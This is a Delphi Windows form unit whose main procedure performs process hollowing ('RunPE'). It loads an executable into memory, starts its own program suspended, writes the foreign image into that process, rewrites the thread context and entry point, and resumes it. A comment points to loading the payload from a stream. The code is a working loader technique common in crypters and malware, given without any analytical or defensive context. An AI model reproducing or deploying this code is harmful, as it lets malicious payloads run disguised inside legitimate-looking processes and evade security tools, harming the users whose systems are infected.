unit Unit1;
interface
uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls;
type TForm1 = class(TForm) OpenDialog1: TOpenDialog; Button1: TButton; procedure Button1Click(Sender: TObject); private { Private declarations } public { Public declarations } end;
var Form1: TForm1;
implementation
{$R *.dfm} type TSections = array [0..0] of TImageSectionHeader;
function GetAlignedSize(Size: dword; Alignment: dword): dword; begin if ((Size mod Alignment) = 0) then Result := Size else Result := ((Size div Alignment) + 1) * Alignment; end;
function ImageSize(Image: pointer): dword; var Alignment: dword; ImageNtHeaders: PImageNtHeaders; PSections: ^TSections; SectionLoop: dword; begin ImageNtHeaders := pointer(dword(dword(Image)) + dword(PImageDosHeader(Image)._lfanew)); Alignment := ImageNtHeaders.OptionalHeader.SectionAlignment; if ((ImageNtHeaders.OptionalHeader.SizeOfHeaders mod Alignment) = 0) then begin Result := ImageNtHeaders.OptionalHeader.SizeOfHeaders; end else begin Result := ((ImageNtHeaders.OptionalHeader.SizeOfHeaders div Alignment) + 1) * Alignment; end; PSections := pointer(pchar(@(ImageNtHeaders.OptionalHeader)) + ImageNtHeaders.FileHeader.SizeOfOptionalHeader); for SectionLoop := 0 to ImageNtHeaders.FileHeader.NumberOfSections - 1 do begin if PSections[SectionLoop].Misc.VirtualSize <> 0 then begin if ((PSections[SectionLoop].Misc.VirtualSize mod Alignment) = 0) then begin Result := Result + PSections[SectionLoop].Misc.VirtualSize; end else begin Result := Result + (((PSections[SectionLoop].Misc.VirtualSize div Alignment) + 1) * Alignment); end; end; end; end;
procedure CreateProcessEx(FileMemory: pointer); var BaseAddress, Bytes, HeaderSize, InjectSize, SectionLoop, SectionSize: dword; Context: TContext; FileData: pointer; ImageNtHeaders: PImageNtHeaders; InjectMemory: pointer; ProcInfo: TProcessInformation; PSections: ^TSections; StartInfo: TStartupInfo; begin ImageNtHeaders := pointer(dword(dword(FileMemory)) + dword(PImageDosHeader(FileMemory)._lfanew)); InjectSize := ImageSize(FileMemory); GetMem(InjectMemory, InjectSize); try FileData := InjectMemory; HeaderSize := ImageNtHeaders.OptionalHeader.SizeOfHeaders; PSections := pointer(pchar(@(ImageNtHeaders.OptionalHeader)) + ImageNtHeaders.FileHeader.SizeOfOptionalHeader); for SectionLoop := 0 to ImageNtHeaders.FileHeader.NumberOfSections - 1 do begin if PSections[SectionLoop].PointerToRawData < HeaderSize then HeaderSize := PSections[SectionLoop].PointerToRawData; end; CopyMemory(FileData, FileMemory, HeaderSize); FileData := pointer(dword(FileData) + GetAlignedSize(ImageNtHeaders.OptionalHeader.SizeOfHeaders, ImageNtHeaders.OptionalHeader.SectionAlignment)); for SectionLoop := 0 to ImageNtHeaders.FileHeader.NumberOfSections - 1 do begin if PSections[SectionLoop].SizeOfRawData > 0 then begin SectionSize := PSections[SectionLoop].SizeOfRawData; if SectionSize > PSections[SectionLoop].Misc.VirtualSize then SectionSize := PSections[SectionLoop].Misc.VirtualSize; CopyMemory(FileData, pointer(dword(FileMemory) + PSections[SectionLoop].PointerToRawData), SectionSize); FileData := pointer(dword(FileData) + GetAlignedSize(PSections[SectionLoop].Misc.VirtualSize, ImageNtHeaders.OptionalHeader.SectionAlignment)); end else begin if PSections[SectionLoop].Misc.VirtualSize <> 0 then FileData := pointer(dword(FileData) + GetAlignedSize(PSections[SectionLoop].Misc.VirtualSize, ImageNtHeaders.OptionalHeader.SectionAlignment)); end; end; ZeroMemory(@StartInfo, SizeOf(StartupInfo)); ZeroMemory(@Context, SizeOf(TContext)); CreateProcess(nil, pchar(ParamStr(0)), nil, nil, False, CREATE_SUSPENDED, nil, nil, StartInfo, ProcInfo); Context.ContextFlags := CONTEXT_FULL; GetThreadContext(ProcInfo.hThread, Context); ReadProcessMemory(ProcInfo.hProcess, pointer(Context.Ebx + 8), @BaseAddress, 4, Bytes); VirtualAllocEx(ProcInfo.hProcess, pointer(ImageNtHeaders.OptionalHeader.ImageBase), InjectSize, MEM_RESERVE or MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(ProcInfo.hProcess, pointer(ImageNtHeaders.OptionalHeader.ImageBase), InjectMemory, InjectSize, Bytes); WriteProcessMemory(ProcInfo.hProcess, pointer(Context.Ebx + 8), @ImageNtHeaders.OptionalHeader.ImageBase, 4, Bytes); Context.Eax := ImageNtHeaders.OptionalHeader.ImageBase + ImageNtHeaders.OptionalHeader.AddressOfEntryPoint; SetThreadContext(ProcInfo.hThread, Context); ResumeThread(ProcInfo.hThread); finally FreeMemory(InjectMemory); end; end;
procedure TForm1.Button1Click(Sender: TObject); var MyStream: TMemoryStream; begin if OpenDialog1.Execute then begin MyStream := TMemoryStream.Create; try MyStream.LoadFromFile(OpenDialog1.FileName); //MyStream.LoadFromStream(yourstream); CreateProcessEx(MyStream.Memory); finally MyStream.Free; end;
end; end;
end. |